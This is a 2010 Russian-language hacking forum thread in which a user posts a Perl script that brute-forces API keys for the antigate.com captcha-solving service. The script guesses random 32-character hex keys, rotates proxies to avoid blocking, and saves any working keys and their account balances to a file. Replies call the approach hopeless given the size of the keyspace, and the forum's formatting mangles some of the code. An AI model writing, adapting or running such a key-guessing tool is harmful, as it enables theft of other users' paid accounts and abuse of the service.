Antigate.com keys bruteforce

Discussion in 'PHP' started by dpe_x, 16 Dec 2010.

  1. dpe_x

    dpe_x Elder - Старейшина

    Joined:
    8 Sep 2010
    Messages:
    155
    Likes Received:
    35
    Reputations:
    14
    Скрипт сам генерирует ключ и чекает его на существование.
    Работает только через прокси.
    Весьма шустро.
    Если гуд ,то проиходит чек на балланс.

    На перле написан.

    PHP:
    #!/usr/bin/perl
    #(c)dpe

    use strict;
    use 
    warnings;
    use 
    threads;
    use 
    threads::shared;
    use 
    LWP::UserAgent;
    use 
    Fcntl ':flock';

    #####################################################Config############################################

    #файл с гудами
    my $good 'good.txt';

    #файл с бэдами            
    my $bad 'bad.txt'

    #Файл с прокси             
    my $proxy_file 'proxy.txt' ;

    #Вести логи бэдов ? 1 - да
    my $badlog ;

    #Кол-во попыток
    my $count shared 100 ;

    #Кол-во потоков
    my $threads ;

    ###################################################END CONFIG###########################################


    my @proxys shared load($proxy_file);
    my @trl = ();
    my $str;

    my %statictis shared = ('good' => 0'bad' => 0'bad proxy' => );
    system('title Antigate.com keys brute by dpe.');
    $| = 
    1;

    $trl[$_] = threads->create(\&gobrute) for 0..$threads 1;
    $_->join for @trl;

    sub gobrute {
    my ($ua$ck) = &browser;
    $str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
    while ( 
    $count>= ) {
         
    until(proxy($ua)){}
             
    my @chars = ( "a" .. "f" .. );
             
    my $key join"" , @charsmap rand @chars } ( .. 32 )]);
             
    my $page $ua->get('http://antigate.com/res.php?key='.$key.'&action=getbalance')->content ;
             if (
    $page =~ /ERROR/) {
                 { 
    lock %statictis$statictis{'bad'}++; }
                 
    thread_print ("$key - bad");
                    if ( 
    $badlog == ) {
                        
    wf($bad"$key\n");
                            }
                    }  else {
                            { 
    lock %statictis$statictis{'good'}++; }
                            
    thread_print ("$key - good");
                            
    my $bal = $if $page =~ /(\d*.*)/;
                            
    wf($good"$key:$bal\n");
                            }
             
    $count--;
         }
    }

    sub browser
    {
    my $ua LWP::UserAgent->new;
    $ua->cookie_jar({});
    $ua->timeout20 ) ;
    $ua->agent("Mozilla/5.0");
    return 
    $ua;
    }

    sub load
    {
     
    open(F"<"$_[0]) || die $_[0].' - '.$!.$/;
     
    chomp(my @list = <F>);
     
    close F;
     return @list;
    }

    sub proxy
    {
        
    my $ua shift;
        
    my ($ip$port) = split ':' => $proxys[rand scalar @proxys];
        
    $ua->proxy('http' => "http://$ip:$port");
        
    my $test $ua->get('http://www.antigate.com/');
        if(
    $test ->is_success)
        {
             return 
    1;
        }
        else
        {
            { 
    lock %statictis$statictis{'bad proxy'}++; }
             return 
    0;
        }

    }

    sub thread_print {
    my ($str) = "@_ [thread ".threads->tid()."]";
    $str .= " " (78 length $str) if length $str 79;
    print 
    $str."\n";
    $str '';
    $str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
    print 
    $str.'[threads: '.(scalar threads->list() + 1)."]\r";
    }

    sub wf
    {
    open my $dat'>>'$_[0] or die "\nCould not open $_[0] file!\n";
    flock $datLOCK_EX;
    print 
    $dat $_[1];
    flock $datLOCK_UN;
    close $dat;
    }
    скачать архивом
    http://rghost.ru/3629892
     
    #1 dpe_x, 16 Dec 2010
    Last edited: 16 Dec 2010
  2. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    937
    Likes Received:
    162
    Reputations:
    27
    Там у каждого ключа есть 32 символа, а всего есть 16 вариантов символов. Это же бред! Как можно сбрутить ключ при таких условиях?
     
  3. AGENTWPC74

    AGENTWPC74 Member

    Joined:
    11 Nov 2009
    Messages:
    201
    Likes Received:
    37
    Reputations:
    5
    выкладывали генератор и брут для антигейта. высчитали что 10000многомного вариантов ключей получится. и толку от этого нет нихера
     
  4. dpe_x

    dpe_x Elder - Старейшина

    Joined:
    8 Sep 2010
    Messages:
    155
    Likes Received:
    35
    Reputations:
    14
    Это не какой-то волшебный скрипт.. И через две минуты ключа не будет.Тут на удачу надо полагаться.

    И хорошенько чеккайте свои прокси , во избежание ложных гудов.